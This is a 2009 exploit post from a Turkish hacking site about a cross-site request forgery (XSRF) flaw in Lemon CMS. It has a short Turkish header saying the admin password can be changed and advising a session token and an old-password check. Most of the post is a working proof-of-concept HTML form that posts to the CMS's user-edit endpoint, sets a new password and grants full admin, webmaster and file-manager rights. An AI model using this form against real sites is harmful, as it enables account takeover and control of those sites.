Lemon CMS ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Lemon CMS ~ XSRF Vuln.

Madde
	Author : Bug Researchers/_iLLeqaL_
	Date : 13.09.2009 20:44:45
	# Lemon CMS ~ XSRF Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : Lemon CMS # vulnerable Type : XSRF # Infection : Admin sifresi degistirilebilir .. # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmelidir , Eski Sifre Sorulmalidir ! # author : _iLLeqaL_ ~ Bug Researchers ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <form method=post action=http://[site].com/[yol]/lemon.php?toDo=module&dir=&module=webmaster&modsub=user&action=edit&user=demo> <input type=text name=username id=username style=width: 180px; value=demo readonly /> <input type=password name=password id=password style=width: 180px; /> <input type=checkbox value=1 name=access[admin] checked=checked readonly /> <input type=checkbox value=1 name=access[WEBMASTER][main] style=color: #00FF00; checked=checked disabled=disabled /> <input type=hidden value=1 name=access[WEBMASTER][main] /> <input type=checkbox value=1 name=access[WEBMASTER][configuration] style=margin-left: 50px; /> <input type=checkbox value=1 name=access[WEBMASTER][user] style=margin-left: 50px; /> <input type=checkbox value=1 name=access[WEBMASTER][access] style=margin-left: 50px; /> <input type=checkbox value=1 name=access[WEBMASTER][packages] style=margin-left: 50px; /> <input type=checkbox value=1 name=access[WEBMASTER][preferences] style=margin-left: 50px; /> <input type=checkbox value=1 name=access[FILEMANAGER][main] /> <input type=checkbox value=1 name=access[FILEMANAGER][createFile] style=margin-left: 50px; /> <input type=checkbox value=1 name=access[FILEMANAGER][createFolder] style=margin-left: 50px; /> <input type=checkbox value=1 name=access[FILEMANAGER][uploadFile] style=margin-left: 50px; /> <input type=checkbox value=1 name=access[FILEMANAGER][edit] style=margin-left: 50px; />& <input type=checkbox value=1 name=access[FILEMANAGER][rename] style=margin-left: 50px; /> <input type=checkbox value=1 name=access[FILEMANAGER][copy] style=margin-left: 50px; /> <input type=checkbox value=1 name=access[FILEMANAGER][delete] style=margin-left: 50px; /> <input type=submit name=action value=update User class=submit /> </form> < -- bug code end of -- >